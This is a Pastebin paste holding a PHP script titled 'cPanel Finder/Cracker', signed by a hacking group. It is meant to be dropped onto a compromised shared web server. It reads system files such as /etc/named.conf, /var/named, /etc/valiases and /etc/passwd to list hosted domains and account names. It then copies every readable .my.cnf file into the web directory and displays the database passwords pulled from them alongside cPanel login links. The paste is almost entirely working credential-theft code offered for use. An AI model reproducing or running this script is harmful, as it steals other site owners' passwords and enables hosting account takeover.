Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
2,139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.15 KB | None | 0 0
  1. cPanel Cracker | By Mr.Zee
  2.  
  3. ---Mr.Zee----
  4.  
  5. <?php
  6. /**
  7. * @author: Zia Mustafa aka Mr.Zee
  8. * @mail: mr.zee337@gmail.com
  9. * @Screenshot: http://prntscr.com/7c1p34
  10. * @Last Updated: 01 June 2016
  11. */
  12.  
  13. @ini_set('display_errors',0);
  14. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  15. $ar0=explode($marqueurDebutLien, $text);
  16. $ar1=explode($marqueurFinLien, $ar0[$i]);
  17. return trim($ar1[0]);
  18. }
  19.  
  20. echo '<html><head>
  21. <title>Automatic cPanel Finder/Cracker | By Mr.Zee</title>
  22. <meta content="text/html; charset=utf-8">
  23. <meta name="keywords" content="cPanel Cracker, Mr.Zee, 1337.zee, Mr.Zee" />
  24. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  25. <meta name="author" content="rEd X" />
  26. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  27. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  28. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  29. </head><body>';
  30. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>Mr.Zee </sub></div><br/>';
  31.  
  32. echo "<center>";
  33. $d0mains = @file('/etc/named.conf');
  34. $domains = scandir("/var/named");
  35.  
  36. if ($domains or $d0mains)
  37. {
  38. $domains = scandir("/var/named");
  39. if($domains) {
  40. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  41. $count=1;
  42. $dc = 0;
  43. $list = scandir("/var/named");
  44. foreach($list as $domain){
  45. if(strpos($domain,".db")){
  46. $domain = str_replace('.db','',$domain);
  47. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  48. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  49. $path = getcwd();
  50.  
  51. if (is_readable($dirz)) {
  52. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  53. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  54. $password=entre2v2($p,'password="','"');
  55. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  56. $dc++;
  57. }
  58.  
  59. }
  60. }
  61. echo '</table>';
  62. $total = $dc;
  63. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  64. echo '</center>';
  65. }else{
  66. $d0mains = @file('/etc/named.conf');
  67. if($d0mains) {
  68. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  69. $count=1;
  70. $dc = 0;
  71. $mck = array();
  72. foreach($d0mains as $d0main){
  73. if(@eregi('zone',$d0main)){
  74. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  75. flush();
  76. if(strlen(trim($domain[1][0])) >2){
  77. $mck[] = $domain[1][0];
  78. }
  79. }
  80. }
  81. $mck = array_unique($mck);
  82. $usr = array();
  83. $dmn = array();
  84. foreach($mck as $o) {
  85. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  86. $usr[] = $infos['name'];
  87. $dmn[] = $o;
  88. }
  89. array_multisort($usr,$dmn);
  90. $dt = file('/etc/passwd');
  91. $passwd = array();
  92. foreach($dt as $d) {
  93. $r = explode(':',$d);
  94. if(strpos($r[5],'home')) {
  95. $passwd[$r[0]] = $r[5];
  96. }
  97. }
  98. $l=0;
  99. $j=1;
  100. foreach($usr as $r) {
  101. $dirz = '/home/'.$r.'/.my.cnf';
  102. $path = getcwd();
  103. if (is_readable($dirz)) {
  104. copy($dirz, ''.$path.'/'.$r.'.txt');
  105. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  106. $password=entre2v2($p,'password="','"');
  107. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  108. $dc++;
  109. flush();
  110. $l=$l?0:1;
  111. $j++;
  112. }
  113. }
  114. }
  115. echo '</table>';
  116. $total = $dc;
  117. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  118. echo '</center>';
  119.  
  120. }
  121. }else{
  122. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  123. }
  124.  
  125. echo "<br>&#169; <font color='#FF0000'>Mr.Zee</font> | 3xp1r3 Cyber Army";
  126. echo "</body></html>";
  127. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement